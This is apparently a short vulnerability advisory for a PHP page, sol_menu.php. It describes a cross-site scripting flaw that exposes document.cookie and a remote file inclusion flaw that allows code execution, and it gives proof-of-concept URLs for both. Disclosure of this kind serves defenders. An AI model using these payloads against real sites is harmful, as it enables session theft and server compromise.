Sol_menu.php is an included page, but the attacker can access it directly. So, the value of $kul_adi can be changed from the address bar. -- Proof of Concept: http://target_site/script_path/sol_menu.php?kuladi="><script>alert(docum ent.cookie)</script> -- Details[1] :Remote Code Execution Vulnerability There is a "require" command in sol_menu.php. The attacker can bypass the constant UYE_SEVIYE using a , querystring like "misafir[]=UYE_SEVIYE". So the remote code is executing. As a result, the attacker can change the value of the first parameter of the require function which is named as uye_klasor.(dir for remote url) -- Proof Of Concept: sol_menu.php?uye_klasor=http://www.example.org&misafir[]=UYE_SEVIYE -- Note : For using these vulnerabilities, register_globals must be on.
